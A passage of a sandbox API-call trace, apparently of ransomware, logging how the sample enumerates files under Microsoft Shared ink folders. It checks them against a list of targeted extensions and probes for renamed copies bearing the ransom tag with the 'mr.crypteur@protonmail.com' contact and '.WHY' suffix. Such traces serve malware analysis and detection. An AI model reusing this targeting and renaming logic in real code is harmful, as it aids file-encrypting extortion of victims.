Shared\\ink\\en-US\\correct.avi") returned 68 [0212.012] lstrlenW (lpString=".doc") returned 4 [0212.012] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.012] lstrlenW (lpString=".docx") returned 5 [0212.012] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0212.012] lstrlenW (lpString=".pdf") returned 4 [0212.012] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.012] lstrlenW (lpString=".xls") returned 4 [0212.013] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.013] lstrlenW (lpString=".xlsx") returned 5 [0212.013] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0212.013] lstrlenW (lpString=".ppt") returned 4 [0212.013] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.013] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.013] lstrlenW (lpString=".zip") returned 4 [0212.013] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.013] lstrlenW (lpString=".rar") returned 4 [0212.013] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.013] lstrlenW (lpString=".bz2") returned 4 [0212.013] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.014] lstrlenW (lpString=".7z") returned 3 [0212.014] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.014] lstrlenW (lpString=".dbf") returned 4 [0212.014] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.014] lstrlenW (lpString=".1cd") returned 4 [0212.014] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.014] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0212.014] lstrlenW (lpString=".jpg") returned 4 [0212.014] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.015] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0212.015] lstrlenW (lpString="delete.avi") returned 10 [0212.015] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0212.018] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=224256) returned 1 [0212.019] CloseHandle (hObject=0x2d0) returned 1 [0212.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0212.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0212.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.020] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.020] lstrlenW (lpString=".doc") returned 4 [0212.020] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.020] lstrlenW (lpString=".docx") returned 5 [0212.020] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0212.020] lstrlenW (lpString=".pdf") returned 4 [0212.020] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.020] lstrlenW (lpString=".xls") returned 4 [0212.020] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.020] lstrlenW (lpString=".xlsx") returned 5 [0212.020] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0212.020] lstrlenW (lpString=".ppt") returned 4 [0212.021] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.021] lstrlenW (lpString=".zip") returned 4 [0212.021] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.021] lstrlenW (lpString=".rar") returned 4 [0212.021] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.021] lstrlenW (lpString=".bz2") returned 4 [0212.021] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.021] lstrlenW (lpString=".7z") returned 3 [0212.021] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.021] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.021] lstrlenW (lpString=".dbf") returned 4 [0212.021] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.022] lstrlenW (lpString=".1cd") returned 4 [0212.022] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.022] lstrlenW (lpString=".jpg") returned 4 [0212.022] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.022] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.022] lstrlenW (lpString=".doc") returned 4 [0212.022] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.022] lstrlenW (lpString=".docx") returned 5 [0212.022] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0212.023] lstrlenW (lpString=".pdf") returned 4 [0212.023] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.023] lstrlenW (lpString=".xls") returned 4 [0212.023] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.023] lstrlenW (lpString=".xlsx") returned 5 [0212.023] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0212.023] lstrlenW (lpString=".ppt") returned 4 [0212.023] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.023] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.023] lstrlenW (lpString=".zip") returned 4 [0212.023] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.023] lstrlenW (lpString=".rar") returned 4 [0212.023] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.023] lstrlenW (lpString=".bz2") returned 4 [0212.023] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.024] lstrlenW (lpString=".7z") returned 3 [0212.024] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.024] lstrlenW (lpString=".dbf") returned 4 [0212.024] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.024] lstrlenW (lpString=".1cd") returned 4 [0212.024] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0212.024] lstrlenW (lpString=".jpg") returned 4 [0212.024] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.025] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0212.025] lstrlenW (lpString="join.avi") returned 8 [0212.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0212.025] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=222208) returned 1 [0212.025] CloseHandle (hObject=0x2d0) returned 1 [0212.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0212.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0212.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0212.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.027] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.027] lstrlenW (lpString=".doc") returned 4 [0212.027] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.027] lstrlenW (lpString=".docx") returned 5 [0212.027] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0212.027] lstrlenW (lpString=".pdf") returned 4 [0212.027] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.028] lstrlenW (lpString=".xls") returned 4 [0212.028] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.028] lstrlenW (lpString=".xlsx") returned 5 [0212.028] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0212.028] lstrlenW (lpString=".ppt") returned 4 [0212.028] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.028] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.028] lstrlenW (lpString=".zip") returned 4 [0212.028] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.028] lstrlenW (lpString=".rar") returned 4 [0212.028] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.028] lstrlenW (lpString=".bz2") returned 4 [0212.028] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.028] lstrlenW (lpString=".7z") returned 3 [0212.028] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.029] lstrlenW (lpString=".dbf") returned 4 [0212.029] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.029] lstrlenW (lpString=".1cd") returned 4 [0212.029] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.030] lstrlenW (lpString=".jpg") returned 4 [0212.030] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0212.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.030] lstrlenW (lpString=".doc") returned 4 [0212.030] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0212.030] lstrlenW (lpString=".docx") returned 5 [0212.030] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0212.030] lstrlenW (lpString=".pdf") returned 4 [0212.030] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0212.030] lstrlenW (lpString=".xls") returned 4 [0212.030] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0212.031] lstrlenW (lpString=".xlsx") returned 5 [0212.031] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0212.031] lstrlenW (lpString=".ppt") returned 4 [0212.031] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0212.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.031] lstrlenW (lpString=".zip") returned 4 [0212.031] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0212.031] lstrlenW (lpString=".rar") returned 4 [0212.031] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0212.031] lstrlenW (lpString=".bz2") returned 4 [0212.031] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0212.031] lstrlenW (lpString=".7z") returned 3 [0212.032] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0212.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.032] lstrlenW (lpString=".dbf") returned 4 [0212.032] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0212.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.032] lstrlenW (lpString=".1cd") returned 4 [0212.036] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0212.036] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi") returned 65 [0212.036] lstrlenW (lpString=".jpg") returned 4 [0212.036] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0213.570] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0213.571] lstrlenW (lpString="ea.xml") returned 6 [0213.571] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc [0213.574] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=384) returned 1 [0213.574] CloseHandle (hObject=0x2cc) returned 1 [0213.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml")) returned 0x20 [0213.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0213.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0213.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.575] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.575] lstrlenW (lpString=".doc") returned 4 [0213.575] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0213.575] lstrlenW (lpString=".docx") returned 5 [0213.575] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0213.576] lstrlenW (lpString=".pdf") returned 4 [0213.576] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0213.576] lstrlenW (lpString=".xls") returned 4 [0213.576] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0213.576] lstrlenW (lpString=".xlsx") returned 5 [0213.576] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0213.576] lstrlenW (lpString=".ppt") returned 4 [0213.576] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0213.576] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.576] lstrlenW (lpString=".zip") returned 4 [0213.576] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0213.577] lstrlenW (lpString=".rar") returned 4 [0213.577] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0213.577] lstrlenW (lpString=".bz2") returned 4 [0213.577] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0213.577] lstrlenW (lpString=".7z") returned 3 [0213.577] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0213.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.577] lstrlenW (lpString=".dbf") returned 4 [0213.577] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0213.577] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.577] lstrlenW (lpString=".1cd") returned 4 [0213.578] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0213.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.578] lstrlenW (lpString=".jpg") returned 4 [0213.578] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0213.578] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.579] lstrlenW (lpString=".doc") returned 4 [0213.579] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0213.579] lstrlenW (lpString=".docx") returned 5 [0213.579] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0213.579] lstrlenW (lpString=".pdf") returned 4 [0213.579] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0213.579] lstrlenW (lpString=".xls") returned 4 [0213.579] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0213.580] lstrlenW (lpString=".xlsx") returned 5 [0213.580] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0213.580] lstrlenW (lpString=".ppt") returned 4 [0213.580] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0213.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.580] lstrlenW (lpString=".zip") returned 4 [0213.580] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0213.580] lstrlenW (lpString=".rar") returned 4 [0213.580] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0213.580] lstrlenW (lpString=".bz2") returned 4 [0213.580] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0213.580] lstrlenW (lpString=".7z") returned 3 [0213.580] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0213.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.581] lstrlenW (lpString=".dbf") returned 4 [0213.581] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0213.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.581] lstrlenW (lpString=".1cd") returned 4 [0213.581] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0213.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml") returned 78 [0213.581] lstrlenW (lpString=".jpg") returned 4 [0213.581] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0213.582] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0213.583] lstrlenW (lpString="keypadbase.xml") returned 14 [0213.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0215.146] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x302ff1c | out: lpFileSize=0x302ff1c*=1118) returned 1 [0215.146] CloseHandle (hObject=0x300) returned 1 [0215.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0215.147] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0215.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.147] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.147] lstrlenW (lpString=".doc") returned 4 [0215.148] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0215.148] lstrlenW (lpString=".docx") returned 5 [0215.148] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0215.148] lstrlenW (lpString=".pdf") returned 4 [0215.148] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0215.148] lstrlenW (lpString=".xls") returned 4 [0215.148] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0215.148] lstrlenW (lpString=".xlsx") returned 5 [0215.148] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0215.148] lstrlenW (lpString=".ppt") returned 4 [0215.148] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0215.148] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.148] lstrlenW (lpString=".zip") returned 4 [0215.148] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0215.150] lstrlenW (lpString=".rar") returned 4 [0215.150] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0215.150] lstrlenW (lpString=".bz2") returned 4 [0215.150] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0215.150] lstrlenW (lpString=".7z") returned 3 [0215.150] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0215.150] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.150] lstrlenW (lpString=".dbf") returned 4 [0215.151] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0215.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.151] lstrlenW (lpString=".1cd") returned 4 [0215.151] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0215.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.151] lstrlenW (lpString=".jpg") returned 4 [0215.151] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0215.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.151] lstrlenW (lpString=".doc") returned 4 [0215.151] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0215.151] lstrlenW (lpString=".docx") returned 5 [0215.152] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0215.152] lstrlenW (lpString=".pdf") returned 4 [0215.152] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0215.152] lstrlenW (lpString=".xls") returned 4 [0215.152] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0215.152] lstrlenW (lpString=".xlsx") returned 5 [0215.152] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0215.152] lstrlenW (lpString=".ppt") returned 4 [0215.152] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0215.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.152] lstrlenW (lpString=".zip") returned 4 [0215.153] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0215.153] lstrlenW (lpString=".rar") returned 4 [0215.153] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0215.154] lstrlenW (lpString=".bz2") returned 4 [0215.154] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0215.154] lstrlenW (lpString=".7z") returned 3 [0215.154] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0215.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.154] lstrlenW (lpString=".dbf") returned 4 [0215.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0215.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.154] lstrlenW (lpString=".1cd") returned 4 [0215.154] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0215.154] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml") returned 86 [0215.154] lstrlenW (lpString=".jpg") returned 4 [0215.154] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0215.155] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0215.156] lstrlenW (lpString="base.xml") returned 8 [0215.156] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0217.347] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x302ff1c | 